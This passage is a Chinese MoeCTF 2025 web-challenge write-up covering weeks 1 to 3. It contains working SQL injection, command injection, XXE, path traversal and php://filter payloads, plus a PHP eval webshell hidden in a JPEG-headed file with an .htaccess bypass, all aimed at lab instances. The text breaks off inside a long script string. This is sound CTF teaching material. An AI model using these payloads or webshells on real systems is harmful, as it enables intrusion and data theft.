MoeCTF2025-WEB-WP

之前比赛时候就写好的,一直忘记发了,还差一个第23关的Java题,复现好了再单独发一个

WEEK1

0 Web入门指北

查看附件,内容如下

1
2
3
你知道什么是控制台吗?快去了解一下吧!

((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(.......略)

提示控制台,在浏览器中F12打开开发者工具,在控制台页面输入附件中的内容即可得到flag

image-20250821193227041

附件中的是一段大量使用![]+[]!![]等逻辑运算符、数组及函数调用组合的混淆 JavaScript 代码,代码的目的就是输出flag

在控制台中可以运行 JavaScript 代码,所以可以得到flag

01 第一章 神秘的手镯

打开题目环境,随便输入点东西

image-20250821194033560

发现需要输入一万个字符,而且禁止使用复制粘贴

方法一

直接查看源码发现引入了shouzhuo.js文件,在其中可以找到flag

image-20250821194513000

方法二

F12打开开发者工具,然后按F1,找到禁用 JavaScript勾选上,这样 js 代码就不会执行了,就可以使用复制粘贴了

image-20250821194756165

然后题目给了个附件,将其中内容复制粘贴输入进去即可,输入后点击启动手镯,没反应刷新几次就好啦

image-20250821195034466

shouzhuo.js中的代码的意思就是定义了一串长达10000的字符串,然后如果输入的内容和定义的字符串相同,就会输出flag,而字符串已经在附件中给了我们,所以可以直接使用

02 第二章 初识金曦玄轨

打开题目环境,可以发现有两行模糊的字

image-20250821195457406

可以在源代码中查看

image-20250821195613915

给出的提示

1
前往/golden_trail看看

访问/golden_trail这个路由看看

image-20250821195653817

似乎没什么东西,但是看看题目提示,抓HTTP请求包

image-20250821195706977

抓包看看

image-20250821195922981

可以在响应头中看到有flag

image-20250821195936541

更简单的就是在开发者工具中的网络里查看

image-20250821200048243

03 第三章 问剑石!篡天改命!

打开题目环境,看起来没什么信息

image-20250821200234620

看源代码,可以看到一段 JavaScript 代码(<script>标签包裹的是 JavaScript 代码)

image-20250821200330244

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>

这段代码会发送 POST 请求到/test_talent?level=B接口,还会检查结果中是否包含 “流云状青芒”

尝试抓包看看,要抓点击测试天赋后的包

image-20250821200758340

image-20250821200838577

得到的响应体是

1
{"result":"\u5929\u8d4b\uff1aB\uff0c\u5149\u8292\uff1anone","status":"\u95ee\u5251\u77f3\u663e\u5316"}

转化成字符为

1
{"result":"天赋:B,光效:none","status":"问天石显化"}

还是看题目描述,可以看到有 S 光芒,还有 流云状青芒(flowing_azure_clouds)

image-20250821201056328

尝试修改请求包

image-20250821201205109

这就得到flag了

04 第四章 金曦破禁与七绝傀儡阵

第一关考察 GET 传参,然后得到碎片

image-20250821203635377

1
bW9lY3Rme0Mw

第二关考察 POST 传参,这里 POST 请求参数是declaration,值为织云阁=第一

image-20250821203752164

1
bjZyNDd1MTQ3

第三关考察 XFF 请求头伪造,请求头X-Forwarded-For表示访问者的 IP ,本地访问就是用回环地址127.0.0.1

1
X-Forwarded-For: 127.0.0.1

image-20250821203905649

1
MTBuNV95MHVy

第四关考察 UA 头,这个请求头表示使用的浏览器

image-20250821204032406

1
X2g3N1BfbDN2

第五关是身份伪造,利用请求头Cookie,这个请求头中是访问者的身份信息,这里提示的参数是user,值(即身份)是xt

image-20250821204353219

1
M2xfMTVfcjM0

第六关是考察Referer请求头,这是表示访问者的来处,即从何处访问本页面的

image-20250821204725953

1
bGx5X2gxOWgh

第七关就是使用PUT方法请求,请求体为新生!

image-20251010212731576

1
fQ==

然后就没有了,虽然没有直接得到flag,但是会发现每一关都会得到玉简碎片,拼接一起可以得到

1
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

很容易可以看出是经过 base64 编码的,在线网站解码一下就好了

image-20251010212837151

1
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

05 第五章 打上门来!

看题目提示可以是考的目录穿越

image-20250821210343218

Linux中每个目录中都会有...,其中.代表当前目录,..代表上一级目录,/表示目录分隔符,所以可以利用../../这种形式进行目录穿越

image-20250821210542879

image-20250821210559212

这里穿越两次后就到了根目录,可以看到flag文件了

image-20250821210722188

06 第六章 藏经禁制?玄机初探!

这题考察的SQL注入,直接万能密码就可以登录成功,注入点在usernamepassword随便填,登录成功后直接得到flag

1
1'or 1=1#

image-20250821211115680

07 第七章 灵蛛探穴与阴阳双生符

image-20250821211319271

看题目提示,上网搜索也能知道,这是说的是robots.txt文件,直接访问

image-20250821211413781

可以看到这里规定了/flag.php不能被爬取,那就直接访问该文件

image-20250821211533444

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag;

这里考察MD5弱比较,上网搜绕过方式,随便找两个MD5值是0e开头的字符串即可

1
2
QNKCDZO
240610708

image-20250821211838137

08 第八章 天衍真言,星图显圣

这题还是SQL注入,但是万能密码登录后没有直接给flag了,这就需要常规的SQL注入了

这题的注入点在username,但发现利用1' order by 2#爆列数不行(都是登录失败),那就直接爆回显位,username部分输入下面内容,password部分随便输入,可以不输

1
1' union select 1,2#

image-20250821202534875

这里可以知道列数为2,因为如果是1' union select 1,2,3#会出现登录失败,还有就是看到回显的是1,可以得到回显位在第一个

然后爆数据库名,得到数据库名是 user

1
1' union select database(),2#

image-20250821202817711

然后是表名,可以看到有个 flag 表

1
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='user'#

image-20250821203055461

然后是爆字段名,得到 value

1
1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#

image-20250821203208462

最后就可以爆字段内容了

1
1' union select value,2 from flag#

image-20250821203313045

这就是正常的做一个SQL注入题的过程

Moe笑传之猜猜爆

看源码可以看到引入了main.ja文件,就是游戏的源码

image-20251005175607565

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
let randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
const guesses = document.querySelector('.guesses');
const lastResult = document.querySelector('.lastResult');
const lowOrHi = document.querySelector('.lowOrHi');
const guessBtn = document.getElementById('guessBtn');
const guessField = document.getElementById('guessField');

let guessCount = 1;
let resetButton;

function checkGuess() {
let userGuess = Number(guessField.value);
if(guessCount === 1) {
guesses.textContent = '上次猜的数:';
}
guesses.textContent += userGuess + ' ';

if(userGuess === randomNumber) {
lastResult.textContent = '恭喜你!猜对了!';
lastResult.style.backgroundColor = 'green';
lowOrHi.textContent = '';
guessField.disabled = true;
guessBtn.disabled = true;
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});
setGameOver();
} else {
lastResult.textContent = '!!!游戏结束!!!';
lastResult.style.backgroundColor = 'red';
if(userGuess < randomNumber) {
lowOrHi.textContent = '你刚才猜低了!';
} else if(userGuess > randomNumber) {
lowOrHi.textContent = '你刚才猜高了!';
}
guessField.disabled = true;
guessBtn.disabled = true;
setGameOver();
}

guessCount++;
guessField.value = '';
guessField.focus();
}
guessBtn.addEventListener('click', checkGuess);

function setGameOver() {
resetButton = document.createElement('button');
resetButton.textContent = '开始新游戏';
document.body.appendChild(resetButton);
resetButton.addEventListener('click', resetGame);
}

function resetGame() {
guessCount = 1;
const resetParas = document.querySelectorAll('.resultParas p');
for(let i = 0; i < resetParas.length; i++) {
resetParas[i].textContent = '';
}
resetButton.parentNode.removeChild(resetButton);

guessField.disabled = false;
guessBtn.disabled = false;
guessField.value = '';
guessField.focus();

lastResult.style.backgroundColor = 'white';

randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
}

获取flag的代码部分:

1
2
3
4
5
6
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});

是直接向/flag发送请求获取flag的,所以直接把这段代码在控制台运行一下就行

image-20251005180048664

WEEK2

09 第九章 星墟禁制·天机问路

打开题目环境,发现要输入url

image-20250821205833518

遇到这样的可以尝试利用命令分隔符;来执行命令,利用;可以依次执行多个命令

先输入个;,表示前面输入url进行ping命令的结束,然后执行ls命令

1
;ls

image-20250821210102803

发现可以执行命令,剩下就是找flag,是在环境变量中

1
;env

image-20250821210235046

10 第十章 天机符阵

这有个非预期,可以直接访问flag.txt文件拿到flag

image-20250822134328601

10 第十章 天机符阵_revenge

这里非预期修改了,正常打

随便输入点东西,很容易可以看出是考的XXE

image-20250822133857806

格式也可以得到是

1
2
3
<阵枢>引魂玉</阵枢>
<解析>未定义</解析>
<输出>未定义</输出>

题目提示flag在flag.txt文件中

image-20250822134010651

payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "/flag.txt">
]>
<root>
<阵枢>引魂玉</阵枢>
<解析>&xxe;</解析>
<输出>未定义</输出>
</root>
  • **<!DOCTYPE root [...]>:**定义了文档类型,其中包含一个外部实体声明
  • **<!ENTITY xxe SYSTEM "/flag.txt">:**声明了一个名为xxe的外部实体,它指向服务器上的/flag.txt文件
  • **<解析>&xxe;</解析>:**在 XML 内容中引用了这个外部实体

当存在 XXE 漏洞的 XML 解析器处理这段代码时,会尝试加载/flag.txt文件的内容,并将其替换到&xxe;的位置,从而可以获取到/flag.txt的文件内容

image-20250822134207260

11 第十一章 千机变·破妄之眼

image-20250822111938644

根据题目提示,可知存在GET参数,写一个脚本来爆出正确的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import itertools
import requests

BASE = "http://127.0.0.1:41661/"
TIMEOUT = 5

# 先获取原始页面,作为基线
baseline = requests.get(BASE, timeout=TIMEOUT)
baseline_text = baseline.text
baseline_code = baseline.status_code
baseline_len = len(baseline_text)

print(f"[基线] 状态码={baseline_code}, 长度={baseline_len}")

# 穷举所有参数排列
for perm in itertools.permutations("mnopq"):
k = "".join(perm)
try:
resp = requests.get(BASE, params={k: k}, timeout=TIMEOUT)
if resp.text != baseline_text:
print("\n[⚡ 不一样啦!]")
print("参数名:", k)
print("URL:", resp.url)
print("状态码:", resp.status_code)
print("返回长度:", len(resp.text), " (基线:", baseline_len, ")")
print("返回片段:\n", resp.text[:500])
break
else:
print(f"试 {k} -> 一样")
except Exception as e:
print(f"试 {k} 出错: {e}")

image-20250822113353150

最终可以得到/find.php路径,可以直接访问

image-20250822113521129

有点像之前的目录穿越题,不过这里当前目录已经可以看到了flag.php文件,访问看看

image-20250822113609615

提示flag文件就在这,但是没有看到,可以利用filter伪协议对文件内容进行编码读取

1
php://filter/read=convert.base64-encode/resource=flag.php

image-20250822113714295

然后拿去进行base64解码即可看到flag

image-20250822113757882

12 第十二章 玉魄玄关·破妄

image-20250822113911258

看提示可知这题用来学习使用蚁剑的,题目中给了以下内容

1
2
3
<?php
highlight_file(__FILE__);
@eval($_POST['cmd']);

典型的一句话木马,可以直接用蚁剑连接,密码就是cmd

image-20250822114102187

没有看到flag文件,那就看看环境变量,右击打开蚁剑终端

image-20250822114153440

image-20250822114222021

在环境变量中就可以看到flag了,或者去看环境变量文件:/proc/self/environ

image-20250822114406954

13 第十三章 通幽关·灵纹诡影

这是一个文件上传题,看给的规则可知,要上传.jpg文件,限制了文件大小,并且文件头要求是ffd8ff

image-20250822114609481

那就要制作一个含有一句话木马的并且带有jpg文件头的文件

要想一句话木马被执行,就要是一个.php文件类的文件

首先新建一个.php文件,然后在010打开

image-20250822120802608

找到导航栏中的 Hex,点击它,以十六进制形式查看

image-20250822120836940

在左栏中写入十六进制文件头ffd8ff

image-20250822120943544

然后就可以在右栏中继续写入一句话木马

1
<?php eval($_POST['shell']); ?>

image-20250822121039677

然后就可以上传这个文件了

image-20250822121125683

最后访问得到的路径,直接RCE了,也可以蚁剑连,flag在环境变量中

1
shell=system('env');

image-20250822121159917

14 第十四章 御神关·补天玉碑

这题依旧是一个文件上传题,但是禁用了.php这样的可以被解析的文件后缀

image-20250822121331509

但是根据题目提示可知,在apache中有个特殊文件

image-20250822121451516

很容易可以搜到是.htaccess文件,这是 Apache 的配置文件,可以上传这个文件,文件内容写入将指定的.jpg文件解析为php文件

文件内容如下,这可以指定的1.jpg文件解析为php文件,即上传的.jpg文件可以当作php文件用

1
2
3
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20250822122621601

然后先上传这个文件

image-20250822122648125

然后将上一个题中制作的木马文件1.php改后缀为1.jpg,然后上传上去

image-20250822122752557

访问该文件路径,就可以进行RCE了

image-20250822122834176

摸金偶遇FLAG,拼尽全力难战胜

这是一个小挑战,要在很短的时间里输入9个密码

image-20250822134629711

正常挑战很难成功,那就看看源码,这种页面的游戏题一般都是用 JavaScript 代码写的

image-20250822135042317

可以找到这部分关键代码

image-20250822140549592

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function generateRandomDigitArray(length) {
return new Promise((resolve, reject) => {
fetch(`/get_challenge?count=${length}`)
.then((response) => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then((data) => {
if (data.error) {
reject(data.error);
} else {
const real = data.numbers;
const guess = Array.from({ length }, () => null);
myToken = data.token; // 保存 token 到 myToken
resolve({ real, guess });
}
})
.catch((error) => {
console.error("Error fetching challenge data:", error);
reject("Failed to fetch challenge data.");
});
});
}

这段代码会向/get_challenge这个路由发送请求,带有参数count即密码个数,得到响应是正确的密码和对应token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function getProgressBarText(style) {
switch (style) {
case 0:
return ">>> 等待开始挑战...";
case 1:
return ">>> 防破译进程加载中...";
case 2:
return ">>> 正在骇入系统...";
case 3:
return ">>> 挑战超时";
case 4:
return `>>> 挑战已终止,正确密码 ${realCode.join("")}`;
default:
fetch("/verify", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
answers: realCode,
token: myToken
})
})
.then((response) => response.json())
.then((data) => {
if (data.correct) {
const flag = data.flag || "无法获取flag";
$(".computerTitle").text(`破译完成,已获取如下权限: ${flag}`);
} else {
$(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`);
}
})
.catch((error) => {
console.error("Error verifying solution:", error);
$(".computerTitle").text("破译完成,但无法获取权限内容");
});
$(".decode-item-block").show();
$(".leftPanel,.inputPanel").hide();
return (
">>> 骇入成功" +
(limitChallenge ? `,挑战用时:${passedTime} 秒` : "")
);
}
}

这段代码表示,如果挑战成功后,会向/verify接口 POST 请求,携带参数answers: realCode(用户提交的答案)和token: myToken(验证令牌),若验证成功就会得到flag

所有思路就有了,可以先去访问/get_challenge?count=9,利用得到的正确密码和token再去向/verify发送请求,从而得到flag

image-20250822142145739

可以利用 JavaScript 脚本,在控制台直接运行得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(async function getFlag(count = 9) {
try {
console.log("[*] 请求 /get_challenge ...");
const r = await fetch(`/get_challenge?count=${count}`, { credentials: 'same-origin' });
if (!r.ok) throw new Error("get_challenge HTTP " + r.status);
const data = await r.json();
if (data.error) throw new Error("get_challenge error: " + data.error);

console.log("[*] 收到 challenge:", data);
// data.numbers 应为数组, data.token 为 token
const payload = {
answers: data.numbers,
token: data.token
};

console.log("[*] 提交 /verify ...", payload);
const v = await fetch("/verify", {
method: "POST",
credentials: 'same-origin',
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload)
});

if (!v.ok) throw new Error("verify HTTP " + v.status);
const result = await v.json();
console.log("[*] verify 返回:", result);

if (result.correct) {
console.log("%cFLAG => " + (result.flag || "(后端未返回 flag 字段)"), "color: green; font-weight: bold; font-size: 14px;");
} else {
console.warn("提交未通过,后端消息:", result);
}
} catch (err) {
console.error("发生错误:", err);
}
})();

image-20250822141029090

也可以利用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3


import requests, sys, time

# ====== 配置区 ======
BASE = "http://127.0.0.1:59278/" # 目标地址
COUNT = 9 # 答案长度
# =====================

def main():
s = requests.Session() # 仍使用 session 以复用连接,但不设置 cookie
try:
r = s.get(f"{BASE}/get_challenge?count={COUNT}", timeout=6)
r.raise_for_status()
except Exception as e:
print("GET /get_challenge 失败:", e)
sys.exit(1)

try:
chal = r.json()
except Exception:
print("GET 返回非 JSON:", r.text)
sys.exit(2)

print("GET ->", chal)
numbers = chal.get("numbers")
token = chal.get("token")
if not numbers or token is None:
print("缺少 numbers 或 token,无法继续。")
sys.exit(3)

payload = {"answers": numbers, "token": token}
try:
v = s.post(f"{BASE}/verify", json=payload, timeout=6)
except Exception as e:
print("POST /verify 失败:", e)
sys.exit(4)

try:
j = v.json()
print("VERIFY ->", v.status_code, j)
if j.get("correct") is True:
print("\n=== FLAG ===\n", j.get("flag") or "(后端未返回 flag 字段)", "\n============\n")
else:
print("验证未通过:", j.get("message") or j)
except Exception:
print("VERIFY ->", v.status_code, v.text)

if __name__ == "__main__":
main()

image-20250822142446851

这里不能用bp抓包发包访问,因为操作太慢了,token可能会失效

WEEK3

01 第一章 神秘的手镯_revenge

image-20250823220309588

根据题目提示可知,密码在wanyanzhou.txt文件中,会有备份文件,要输入500次密码

备份文件就是加上.bak后缀,直接访问/wanyanzhou.txt.bak即可下载到wanyanzhou.txt文件,得到密码

然后就是要提交500次,直接AI写个脚本进行提交,可能网络问题会有失败的,可以多设置提交次数,直接在控制台运行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const submitContent = "XqRqsDZWVYjoXvSwMYGklZOGwVpnmPKTPJXhTiFKvhvcseSrXEbawElbdYmJRydaISVcmpLTscDEPSlbIkUNKEvdzivnsrfSCnGolKgQOmVFhxKxhMitBzNeBHNyOgwckpBKdMveKRzqTIrcnvhVgXoxZrjKmuFkFahmHtmTSCKjnjethRbwMPKeJbyLSPAzROgVTuNIChkunCQdCLnoEJWzTscdjGHYzuHJZPMbxqtWteSbkogopAGBxprYdnZEGjfhJfYKlVlVarMHKwlHcIpsHwXgcsvWVKijiTYiQTfpIMHfqyroLmSqLgugtVlDQXeaGTxSWCfkMsMxnucRAxvKeRkUkpnfLrAtMfnBpgwbgLSHsXEPcUxuJwcdxYEfispMnEluMGWPtiKWukWJmcixVbTrgBhRmSqeMWZorscrwsxerZnmKRmbcBIukPQIHOxeoPOXnbngPGdpFrnoDAhCkuQeyDreHKQIutGOwDmQrtuFZYZwPlDMuBZPqPcIDrSHUZvGQKDLARkVfmEQdLeBSVoRAOUJZXAiafPXCMigwuNPzElbajcHnpzBfUvxhDTFvdRsbnvdaYDmyjkNLqrFbRqspCJxrFAJaZkEisEaWkgvnTPTCZvPStbzuAVJRJqcnthlUXbigHdyMERTwFmhGktdbvyHxMWZkIhkMhDUHcrnrqezOsoaZLvifeiFLBUlHJEhtHoStqBtQRenMJPVWLzoFCtBlVSlUaQKnXCedKVGocnoWJiOfnpXVPOxAXQITpeXgfdmszXzOTEdTjqnEPAbQcOfRQFnZPNeygovEvmlhZfKNHQeRcnjHweNceHuFBTciWcFSQNZmIlnpiMkqiQyZOENdGFayRLHRuAHYcFOeZoaWsVwciPUtHRdNxfBtENIVDTPzqnBPdtRdOVWKEaInMAmgTUFSrdghOVOefjxtitiabICQNdLUItQILjyAhCBvnTmzHALWouisBfvTGtHjcYShuKdejEobmfYOypmQRJiKeUAyIGcKPsLDYOVAdIUgujXMsDsOLyrkCqjVAwkJnymwVcIGQPXixGWZWpychnsCINBItKqzcmhoYLWhadHoihjWVBlFgpHKfXpOjXYdhBLjfZUFICrlIEJeDztXIhnMsRITfNhFSjfsQwEktpzryjKvoedbAgFGnIshgIwyJANiKQJzdPdZkckQPVXYAKfekJvIwlQTZOwhjepNEJGhyahbEuNPtkCXVaNVkUvQHRAQVXtAQGTBUlWpZwfuFjKwvjNfzkCmcVeCPUCRSDXKSKQjNOkmeYabmjtNVYclVEredbjBiqXWeMCXaXPltDgneMPJaGIYHyfbWqNLwJCqPsdJxCDvaIuYXDHVLfwPwQuvUGcXvJZmcyACILNBDHnGKXFnUpExHTHrcgyIKCDSzeUsyOYfxnKyAmsUPgWgfdcJuLGAPnLvLnFuKXNUThohGpagqOIucLUtSHYBJvlPzLnJXtBIryPDyWtZuvOcoLBUkWapklHXLNQDonMyunmuoAuqkvdCvWXvIrdXZtHrgwsDuZiytotfKBAMwNGiVDZGlMzPKGpIeFzCLuXYsVXQZfYXoPuBNJyEFNvhlnzDbAieaNycIwKCtysQxbjejrEJVzuaNWpKqaduNtdmAjFpQFKFkoukCGsoscynKmpOTRhBlKlcurfCSzckDmrABkvUnTJBGBjKQeVEZRpfcdNbqEJAGfeaMtKiqfKcmhjngjEuVQaDmgYOdRxGOBGIRBgNCwsUAqNhVxzPkVSkNRLuVbAEApwnXjeipSbNDROtZSuPItgRUIJGcDiSxJwgcqximjKfskPXuHbhowALsYRPrjrteNPhiUKQpFgYlRBHJMuOQPtIYcIPIFHTpwMVpRwRvjpDKzlKmuXZVHAvswCIGoHxMahgaueHzkQhrGXdiXZswbkbpsOFOskXcgBUXBTjXacDJzbqFYhMpQXykStZCMJpmzkBfygwmQERoDIyMCGiJiCmOyTmrepOZIxfPlONsapLxOACdcfxLxsMLUsMziTpqcxAOpFMvghzFYRSwMQmGLDiaQsTZAZurHBSuaFHmXQohjUSqicRyHfrtIKygKBsCdXWTDgzcvHYGnbghSlMeHiMHQZtFoyPoVxyPNgnUxgiXZpXWokTBfnuXLDxqkyBnXWlIwFODufTCoevNmvHKZFAhPNOfuJxnqyfigeihgefMyPRGtjTwPxgkFGleTQOczfIhKVOSAwkfYLzesAxSHaqsWUfdRIxVmgsdedlnRFKHbRIMUHcRELhMLcpGiAJmqmQKECsfpXUvtBcrzRQcORBDNPVlQjdsHZXaHNOhQbdigsdszLIHPnXzqbKhBchruNLjBlaydvIHTVmSlyHtIyCyFocdRlJTozqSQNAvQySRZpNqUPzpQuKWLxUPbhYjvGlEpLWnPenWboqEfEMsAIxdbJQMKfNXakvwtRsTyHMSPOLIGxhLCiEnBnkJLFiDrkLkqBeRqxatdzFjaOVwhEKLAWxHViZadRjfQfoPOnuXPIFLPBnAleremNPcnTwAjgZADfYxlDrtcoQFGubCdTYPFSqXPjOUeAGFuwRvpeQWowxajsTnMcOfPtYBKqJwUQTislZbOsMyBpFCQaQYjSKyxGcSyceUGvtOhxImvTmiMfsmejhFAVALTvdRGAInBuxibmSYloasOJIntRlxjWeQGVklDfBGUkrAfvtNXRVBOvltzigxMUmEIhIjIgwYDWhCUAgQImixmgXDYQHUPRdfNGerNueMivayPSNRheVPTVhPaHDvFPcedCpRGOcAXLBrPnKlyHjDueOZdpfZKabnbdvYilMSALQHjVfkDjXVgsvIyNZEcfobkydwZPfKqTCXgPkPdgVaBmJKIYNmGxStldrBjZAykFDMfoiFIRLGigwdRvilQdycSAuXShvACVReSOifjuWlOSbKhXjfPiYibMxwIOcYtqJDBsbzqsMpsUbnVOVNCBHCVwbaghdaZwKwOcWsFdTxICJWXrEgJKWVrtPLUnYehdKUIbHUxWvzflPvLJMIJdoPNcjlPyZuYbrNgznMPDQIskYGeKHEIxbsAzFGPSbHEYIfnakwrHtifynYQBGcIMtEfSTmzltyveQBEdyrPHurWSEPiEGaGFHNtYqFqZSvMOkfEkFGNUNehiTqrLJMZPmjBSlnkLaQtjTslRqwOSmxZdQzpgBzTFVxLtBnUspHSqUyBLXbRMViuwZnVFyEFEyzlISCdtwpnKanKdroLgotHdEhGyucMuGyqStCiZbxKIlMLvuhLTUNbmXYhZbfTrHGlYbMjsXAiQovPHQrfvEjkiZVgyhEVPRkTzyAucZgafPFGOBXcSkOXKdlZrZpXQOJCKLtzBysNKVkHEgyrQPqnUKXILyujGsFqXzfLpDjewEmzGrGhRCSumVlXrwoBXRljkWHGDUsNUAdZKUDOwejOZifSOHJHiKCYNGtbdQEPaFKPnaYQzfxzGefKtAbRuJoZmHblZmwKrODQVMUOqmIZOuxzraxWdtpcRHFZCJlTdMcQLFVuTlOQNCkEPkRTFPLVNAqImzvpsWcNMPIvulFEhoWSDXlwpeBZxKIZApQOArGWITaVteYWBoEkHlPjHkQwxDnRfDyRXqjbzVgYcTDsMafXLustotnGcrbNyDimSxCiatNVnKgnTuyUYJtUdSAgJwLeFSPuAIfvbaxYNwRgDoGtaQcFxgDJMFgpCIuoEdwDChkoBVfDkaihdmPQZTwGcyNiSHpXLZfrszPoroaFSFoyZVysuPgwQpEQWQYqwLmfSCktrnuAUktVGnDvspNePKtABerKUsrjhJZnBtEsiRwoGDYVoSxzhDbLWysDJUWECVbNDtZEPLawlSblaIPtIfLJxpaJQnXQgVKIuWDZLmAlWfzxGmxEjtpLBmJCsvCyMemqylTnRXgqCzhfROrdtdPcrHtntoGyKnqjigbEfkdykWKlwQruRiDIVequOEJbHXdQCMIQAMTDXLQTgcLqmQlStExIAKMlNSXuhnUgYwTlVrqpadpTAzvLsTcopFOraXmxqCGqDiZhyUcWdraLNaxYlDTdjVkjHaWLVNDKvrDotXPOdLwPKGHiTpWzghIyopFBMJPEjaQlNJhZHctpMgvUawLrLnyuTxCejCavTOgQBwDFOdIZeawkGNWmwUzFauLxsqimLVSnEWPZYRAKHwHIWjCrPjtXTCeaCkVlrjRzhEvlwmnmrjlPqioroJpZDvJXtpOtHmsQheWgUnuDqjLUjWSzgdmuHBiNGsexkrxWqjIWCesrmJFgsLALwDKaONSCnKGTYvSHqsCdEnJmKbItitgTOlSigmioFqtEyaUKpqtYhWUBrtsLcfmfqojPScvTayNOmiJvAfczBUCUqdZexCqfBjsufdVdlKQWSVLfCnBydqAmVdhAnlSfrOTAIrgVXueYGjoJIByCoEJRtomAUqrTIcvnIdMoMjXkTEUjEwtEWorwefkTGalPEPnCJRjZJPHOWMPswlApIuNblsAXKXEnoxsaIwvhyOkHyMiYiFoCjXfgwlpiETVoUDfVqFpXclvKnwinPNHDRhnQwJZjATsqslVLeSMwSCIJTnatMuxMcAWrJdnwjWxYKHmJHOyEceCfwsmalGwVtJNXLpikQdhMYDYKFCxGrtSNaceCVuiEvQyBFycgCSwvAVjulXqbreazYTZPRhZdYqsvNKQfRpqITJXYZEizdNUCSRlNUKSGIrgLzBRdWfSzEObyJyCDlspgNPukmbIDwloSGWPXUbnoZPaZISqjkGlRihGcOtHmkwFBrhGIxutiLOZLfIvLpkQpcKcJvcYSoMXqiNYgrGvfTHFmKCwgdIGNmWPcwyfJhIphUJYjAMgFPzPMoWjElspZCbXDkQzihAwSlxNztzMbaUxEXhAizBxopqZMYazFBXQtBXSncriVJTgLbZrNfGFjctMTEmObPLpENwnovQHnBnPqYhFkqVkdqRoNoveCdoTGmgzlRJatIpByQGpjelGEmTGHELfxsIruzldvLMihnPzhLrfKMgCVOSOvDUrYhiuxnlVNgtilbQwoWbyMciXOQsfegmznLtaMzunRDscsnQCvZcwjtLWkuvidyjSGOSWGIRGzGyWcqjyJiWejPzIdfzLGaCSvNqhwEqAvCxcGVspJnyMgiXHOfetWgMeWGmoXHsXIucVwEvHaDWbidGZaTMzYTrKQPwbDbcRnUDymaMhuTYPlWqdNsTngReMqSvwDeBIjkIfDTnJwNvaUMdCrSiJYxbYAHgyTIvThjptWEDlhEBuIvrgkiRpsVpTruBKuJAZRHFBTBAxqKjyZVtscfYoJAwrvmpWCYxWAcvOjOGWuvphnjoTcpcyopaHPSYNSFpLhdsVqusxufxbwZjzwhGHjsCkvWUDHioXebCGemDKSutHqiOCImIhsvMcgfSvMcuvAdEhuRbDHqeVFzIMwUTjZrBNzfwcenAucPrjhOKOFXNKnwRBdiucOjdraiEGfDChPLiYkEnifjEoIDjRSDuNBDMRDxtCDLscfXtRCNZxWfYeKCpzYBiSrMoIpUbRklzEVwQVehVpkFyVrVtujiSPOLEFOVhCrDWChnroYGOLFwItVbxfZlzjk